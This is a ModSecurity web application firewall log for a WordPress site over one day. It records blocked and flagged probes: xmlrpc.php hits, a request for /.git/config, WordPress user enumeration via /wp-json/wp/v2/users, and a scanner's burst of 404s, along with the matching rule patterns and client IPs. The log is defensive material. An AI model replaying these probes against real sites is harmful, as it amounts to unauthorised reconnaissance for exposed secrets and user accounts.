[Sun May 03 00:42:14.144721 2026] [:error] [pid 52012:tid 52080] [client 185.182.184.242:39684] [client 185.182.184.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.182.184.242, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afYpZkzSWr-8cpS83mgEAgAAA0M"]
[Sun May 03 00:52:24.620910 2026] [:error] [pid 52010:tid 52066] [client 91.98.158.245:41274] [client 91.98.158.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.98.158.245, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afYryAiR6wohDtdeJMBcVwAAAtc"]
[Sun May 03 02:04:29.232657 2026] [:error] [pid 51917:tid 51938] [client 80.66.213.216:45176] [client 80.66.213.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 80.66.213.216, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afY8ra7wZviJ7BgcCi94XwAAAdM"]
[Sun May 03 03:17:47.220554 2026] [:error] [pid 51950:tid 51985] [client 34.155.52.241:49104] [client 34.155.52.241] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "afZN24oBJzYZ3RKUhdidxwAAAkU"]
[Sun May 03 03:18:29.517580 2026] [:error] [pid 52012:tid 52101] [client 14.255.71.172:52770] [client 14.255.71.172] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 14.255.71.172, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afZOBUzSWr-8cpS83mg-MAAAA1c"]
[Sun May 03 03:18:46.489794 2026] [:error] [pid 51950:tid 51986] [client 208.113.157.11:54018] [client 208.113.157.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 208.113.157.11, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afZOFooBJzYZ3RKUhdid_wAAAkY"]
[Sun May 03 04:30:13.853128 2026] [:error] [pid 40732:tid 40768] [client 51.91.58.113:57546] [client 51.91.58.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.91.58.113, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afZe1f1lQrIvlEdzcVf1PQAAANg"]
[Sun May 03 05:56:53.009068 2026] [:error] [pid 40637:tid 40670] [client 185.12.237.12:38984] [client 185.12.237.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.12.237.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afZzJZB-U30YNJ6CyVhDCgAAABc"]
[Sun May 03 07:21:13.521329 2026] [:error] [pid 40456:tid 40478] [client 91.98.158.245:35282] [client 91.98.158.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.98.158.245, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afaG6TSujTvwdzEkjSfKaQAAAZQ"]
[Sun May 03 07:40:54.716187 2026] [:error] [pid 40456:tid 40478] [client 62.146.178.134:10830] [client 62.146.178.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.146.178.134, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afaLhjSujTvwdzEkjSfQ0wAAAZQ"]
[Sun May 03 07:47:46.049265 2026] [:error] [pid 40422:tid 40446] [client 43.133.91.48:39800] [client 43.133.91.48] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afaNIkHBbBLrXh6PBut0AAAAAVQ"]
[Sun May 03 08:10:38.939711 2026] [:error] [pid 40386:tid 40407] [client 23.98.148.92:39120] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afaSflHJDYRXUf3IbRTcQQAAANM"]
[Sun May 03 08:33:11.237621 2026] [:error] [pid 40422:tid 40427] [client 114.119.149.109:21577] [client 114.119.149.109] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afaXx0HBbBLrXh6PBuuIVAAAAUE"], referer: http://www.gigfragments.org/
[Sun May 03 08:36:42.395398 2026] [:error] [pid 37246:tid 37264] [client 164.92.93.29:34730] [client 164.92.93.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.92.93.29, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afaYmjhvYFGNwhnPamp_2wAAAQ4"]
[Sun May 03 08:51:30.001465 2026] [:error] [pid 40456:tid 40459] [client 173.212.218.121:46704] [client 173.212.218.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.212.218.121, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afacEjSujTvwdzEkjSfjtQAAAYE"]
[Sun May 03 08:55:09.444061 2026] [:error] [pid 40386:tid 40402] [client 159.203.189.210:53418] [client 159.203.189.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.203.189.210, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afac7VHJDYRXUf3IbRTkzAAAAM4"]
[Sun May 03 09:13:11.540924 2026] [:error] [pid 37127:tid 37209] [client 91.245.210.195:38628] [client 91.245.210.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.245.210.195, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afahJ_8khJXb5O5aWVXp8wAAAFc"]
[Sun May 03 09:32:42.734892 2026] [:error] [pid 40456:tid 40459] [client 35.198.41.118:43938] [client 35.198.41.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.198.41.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afalujSujTvwdzEkjSfupAAAAYE"]
[Sun May 03 09:48:28.580963 2026] [:error] [pid 40456:tid 40479] [client 196.187.130.117:16360] [client 196.187.130.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.187.130.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afapbDSujTvwdzEkjSfyUgAAAZU"]
[Sun May 03 09:57:30.756165 2026] [:error] [pid 40422:tid 40443] [client 196.187.130.117:15408] [client 196.187.130.117] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "afarikHBbBLrXh6PBuuvUwAAAVE"]
[Sun May 03 09:58:12.414112 2026] [:error] [pid 37126:tid 37165] [client 196.187.130.117:16227] [client 196.187.130.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.187.130.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afartPR_A42N-LtDyrvreAAAAAw"]
[Sun May 03 09:58:51.064947 2026] [:error] [pid 40422:tid 40449] [client 196.187.130.117:15791] [client 196.187.130.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.187.130.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afar20HBbBLrXh6PBuuv5AAAAVc"]
[Sun May 03 09:59:25.341802 2026] [:error] [pid 40422:tid 40445] [client 196.187.130.117:15633] [client 196.187.130.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.187.130.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afar_UHBbBLrXh6PBuuv8QAAAVM"]
[Sun May 03 09:59:59.114554 2026] [:error] [pid 40422:tid 40446] [client 196.187.130.117:15561] [client 196.187.130.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.187.130.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afasH0HBbBLrXh6PBuuwCQAAAVQ"]
[Sun May 03 10:15:02.242777 2026] [:error] [pid 37130:tid 37227] [client 64.225.112.39:44648] [client 64.225.112.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.225.112.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afavpqIu7bmXKXicRk9G5QAAAI4"]
[Sun May 03 10:44:38.665172 2026] [:error] [pid 37127:tid 37185] [client 211.21.61.224:34476] [client 211.21.61.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.224, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afa2lv8khJXb5O5aWVX6UQAAAEE"]
[Sun May 03 11:00:18.719477 2026] [:error] [pid 40386:tid 40394] [client 46.225.123.58:40798] [client 46.225.123.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.225.123.58, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afa6QlHJDYRXUf3IbRT0lwAAAMY"]
[Sun May 03 11:27:12.019202 2026] [:error] [pid 40422:tid 40446] [client 185.248.100.157:60164] [client 185.248.100.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.248.100.157, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afbAkEHBbBLrXh6PBuvLyQAAAVQ"]
[Sun May 03 11:31:21.893108 2026] [:error] [pid 37127:tid 37191] [client 114.119.130.102:38289] [client 114.119.130.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afbBif8khJXb5O5aWVUB4gAAAEc"]
[Sun May 03 11:32:59.217184 2026] [:error] [pid 37246:tid 37271] [client 114.119.159.39:56039] [client 114.119.159.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afbB6zhvYFGNwhnPamqwVAAAARU"]
[Sun May 03 11:33:31.519345 2026] [:error] [pid 40422:tid 40433] [client 167.71.223.197:38772] [client 167.71.223.197] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.71.223.197, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afbCC0HBbBLrXh6PBuvPngAAAUc"]
[Sun May 03 11:34:19.201200 2026] [:error] [pid 37127:tid 37208] [client 114.119.159.39:56041] [client 114.119.159.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afbCO_8khJXb5O5aWVUCZwAAAFY"], referer: http://www.gigfragments.org/
[Sun May 03 11:35:53.471832 2026] [:error] [pid 37246:tid 37272] [client 114.119.149.109:21579] [client 114.119.149.109] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afbCmThvYFGNwhnPamqxbwAAARY"], referer: http://gigfragments.org/
[Sun May 03 11:37:26.463296 2026] [:error] [pid 37246:tid 37253] [client 114.119.134.93:44665] [client 114.119.134.93] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/contact"] [unique_id "afbC9jhvYFGNwhnPamqx6gAAAQU"], referer: https://gigfragments.org/about/
[Sun May 03 12:10:57.891177 2026] [:error] [pid 37130:tid 37236] [client 114.119.149.109:21581] [client 114.119.149.109] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/participate/"] [unique_id "afbK0aIu7bmXKXicRk9XkQAAAJc"], referer: https://gigfragments.org/about/
[Sun May 03 12:45:57.224761 2026] [:error] [pid 37246:tid 37259] [client 103.72.98.225:58076] [client 103.72.98.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.72.98.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afbTBThvYFGNwhnPamrDMgAAAQo"]
[Sun May 03 12:47:35.659513 2026] [:error] [pid 37246:tid 37264] [client 43.153.204.189:40128] [client 43.153.204.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afbTZzhvYFGNwhnPamrDYwAAAQ4"]
[Sun May 03 13:21:14.214373 2026] [:error] [pid 40422:tid 40450] [client 103.151.52.53:43772] [client 103.151.52.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.151.52.53, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afbbSkHBbBLrXh6PBuvzYQAAAVg"]
[Sun May 03 13:48:40.941187 2026] [:error] [pid 37127:tid 37194] [client 95.173.103.120:57214] [client 95.173.103.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.173.103.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afbhuP8khJXb5O5aWVUY5gAAAEo"]
[Sun May 03 14:01:17.690251 2026] [:error] [pid 40386:tid 40391] [client 74.7.243.1:41786] [client 74.7.243.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.243.1, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afbkrVHJDYRXUf3IbRQJZAAAAMM"], referer: https://gigfragments.org/
[Sun May 03 14:07:12.865125 2026] [:error] [pid 37246:tid 37271] [client 137.184.25.215:47320] [client 137.184.25.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.25.215, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afbmEDhvYFGNwhnPamrasgAAARU"]
[Sun May 03 14:07:38.641829 2026] [:error] [pid 40422:tid 40429] [client 43.157.153.236:34196] [client 43.157.153.236] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afbmKkHBbBLrXh6PBusFqQAAAUM"]
[Sun May 03 15:29:42.808404 2026] [:error] [pid 40422:tid 40430] [client 149.202.76.92:35476] [client 149.202.76.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.76.92, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afb5ZkHBbBLrXh6PBushAgAAAUQ"]
[Sun May 03 15:52:08.760998 2026] [:error] [pid 40422:tid 40442] [client 52.14.150.191:55344] [client 52.14.150.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.14.150.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afb-qEHBbBLrXh6PBuslZQAAAVA"]
[Sun May 03 16:02:30.440016 2026] [:error] [pid 34432:tid 34448] [client 81.167.26.57:1389] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "afcBFp73JKVQ0wlof4IikAAAAc4"]
[Sun May 03 16:02:33.014858 2026] [:error] [pid 37246:tid 37274] [client 81.167.26.57:2104] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "afcBGThvYFGNwhnPamr5cwAAARg"]
[Sun May 03 16:02:34.989499 2026] [:error] [pid 40422:tid 40434] [client 81.167.26.57:61530] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "afcBGkHBbBLrXh6PBusnogAAAUg"]
[Sun May 03 16:02:36.962590 2026] [:error] [pid 40422:tid 40442] [client 81.167.26.57:44900] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "afcBHEHBbBLrXh6PBusnqQAAAVA"]
[Sun May 03 16:02:38.949586 2026] [:error] [pid 40386:tid 40403] [client 81.167.26.57:51671] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "afcBHlHJDYRXUf3IbRQXOgAAAM8"]
[Sun May 03 16:02:40.949652 2026] [:error] [pid 37126:tid 37152] [client 81.167.26.57:63294] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "afcBIPR_A42N-LtDyrsbFAAAAAE"]
[Sun May 03 16:02:42.814877 2026] [:error] [pid 40422:tid 40429] [client 81.167.26.57:11996] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "afcBIkHBbBLrXh6PBusnwgAAAUM"]
[Sun May 03 16:02:44.803362 2026] [:error] [pid 37126:tid 37174] [client 81.167.26.57:7837] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "afcBJPR_A42N-LtDyrsbHAAAABU"]
[Sun May 03 16:02:46.792918 2026] [:error] [pid 40422:tid 40450] [client 81.167.26.57:11134] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "afcBJkHBbBLrXh6PBusnygAAAVg"]
